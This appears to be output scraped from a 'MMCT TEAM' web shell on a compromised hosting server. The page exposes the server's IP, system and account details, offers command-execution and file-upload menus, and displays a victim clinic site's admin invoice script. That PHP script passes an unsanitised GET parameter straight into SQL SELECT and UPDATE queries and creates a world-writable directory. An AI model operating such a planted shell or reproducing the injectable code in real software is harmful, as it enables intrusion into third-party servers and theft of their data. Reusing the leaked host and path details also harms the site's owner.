MMCT TEAM
Server IP : 162.214.80.37  /  Your IP : 216.73.216.83
Web Server : Apache
System : Linux sh013.webhostingservices.com 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
User : imyrqtmy ( 2189)
PHP Version : 8.2.18
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home2/imyrqtmy/public_html/wellcare/admin/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home2/imyrqtmy/public_html/wellcare/admin/invoice-print.php
<?php
ob_end_clean();
ob_start(); 

ini_set('display_errors', 0);
error_reporting(E_ALL);


require_once(__DIR__ . '/TCPDF/tcpdf.php');
require_once(__DIR__ . '/phpqrcode/qrlib.php');

include("includes/config.php");

$id = $_GET['id'];
$query = "SELECT * FROM families WHERE id='$id'";
$query_run = mysqli_query($conn, $query);

if (mysqli_num_rows($query_run) > 0) {
    $row = mysqli_fetch_assoc($query_run);
} else {
    exit('No data found for this ID.');
}

$pdf = new TCPDF();
$pdf->SetCreator(PDF_CREATOR);
$pdf->SetTitle('Family Membership Invoice');
$pdf->SetMargins(10, 10, 10);
$pdf->AddPage();
$pdf->SetFont('helvetica', '', 12);

$qrData = "https://wellcare.saavytechnologies.com/admin/invoice.php?id=" . $row['id'];

$qrCodeDir = '../qrcodes/';  
if (!is_dir($qrCodeDir)) {
    mkdir($qrCodeDir, 0777, true); 
}

$qrCodeFile =   $row['family_id'] . '_qrcode.png';


QRcode::png($qrData, $qrCodeFile, 'L', 4, 2);

list($width, $height) = getimagesize($qrCodeFile);


if ($width != 66.14 || $height != 66.14) {
    $sourceImage = imagecreatefrompng($qrCodeFile);
    $resizedImage = imagescale($sourceImage, 66.14, 66.14); 
    imagepng($resizedImage, $qrCodeFile);

    imagedestroy($sourceImage);
    imagedestroy($resizedImage);
}


$compressionLevel = 9; 

$compressedImageFile = $qrCodeDir . $row['family_id'] . '_qrcode_compressed.png';

imagepng(imagecreatefrompng($qrCodeFile), $compressedImageFile, $compressionLevel);

unlink($qrCodeFile); 

$query = "UPDATE families 
          SET qr_width = $width, 
              qr_height = $height, 
              qr_code_path = '$compressedImageFile' 
          WHERE id = '$id'";


if (mysqli_query($conn, $query)) {
    echo "Image dimensions and file path saved successfully.";
} else {
    echo "Error saving dimensions and path: " . mysqli_error($conn);
}

$pdf->Image($compressedImageFile, 80, 30, 20, 20);

ob_end_clean(); 
$pdf->Output('family_membership_invoice.pdf', 'I');
exit();
?>

MMCT - 2023